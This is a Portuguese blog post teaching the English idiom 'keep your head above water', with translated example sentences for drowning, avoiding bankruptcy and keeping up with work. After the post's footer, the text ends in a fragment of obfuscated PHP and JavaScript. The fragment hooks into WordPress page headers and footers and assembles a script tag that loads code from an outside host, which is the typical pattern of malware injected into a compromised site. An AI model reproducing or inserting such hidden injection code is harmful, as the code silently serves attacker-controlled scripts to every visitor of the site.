O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

KEEP YOUR HEAD ABOVE WATER | Significado

keep your head above water

Já viu a expressão ‘keep your head above water? Pois hoje, você conhecerá essa expressão que apesar de grande é bem fácil de ser compreendida.

Leia também: Como aprender inglês depois dos 30 anos? Confira o manual passo a passo!

KEEP YOUR HEAD ABOVE WATER: significado

Como nos mostra o Cambridge, essa expressão significa ‘evitar afundar’ que pode ser literalmente para você não se afogar ou metaforicamente, no sentido de não ir à falência ou não conseguir realizar todas as tarefas necessárias.

Na realidade, não sei se teríamos uma tradução específica em porutuguês para essa expressão. Talvez algo como ‘tentar sobreviver’, ‘evitar falência’, ‘sobreviver’ ou algo do tipo. 

Essa expressão se associa muito à questões financeiras e à trabalhos ou situações em que um esforço para se manter bem é necessário. 

E é claro que você pode substituir o ‘your’ por qualquer outro pronome possessivo que for necessário para expressar o sentido que você quer. 

Exemplos:

1 – Sentido literal de não afundar

I could barely keep my head above the water and I almost drowned. (Eu mal conseguiam manter minha cabeça fora d’água e quase afoguei)

You have to keep your head above the water otherwise you’re going to drown. (Você tem que manter sua cabeça fora d’água ou vai se afogar) 

2 – Evitar falência

 Our business is in trouble, but we’re keeping our heads above the water. (Nossa companhia está em dificuldades, mas estamos conseguindo evitar falência)

Their company is having a hard time keeping their heads above the water. (A companhia deles está tendo dificuldades em se manter financeiramente)

I have so little money that I can’t keep my head above the water. (Eu tenho tao pouco dinheiro, que eu mal consigo sobreviver financeiramente)

Now that we got a sponsorship, we can keep our heads above the water. (Agora que conseguimos patrocínio, conseguimos sobreviver financeiramente)

3 – Dar conta de tudo

I can’t take on any more work, I can’ keep my head above the water. (Eu não consigo pegar mais trabalho, eu não consigo dar conta de tudo)

We have so many orders that we can barely keep our heads above the water. (Nós temos tantos pedidos que mal conseguimos dar conta de tudo).

Curtiu? Então veja outros posts que podem te ajudar com seu inglês

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>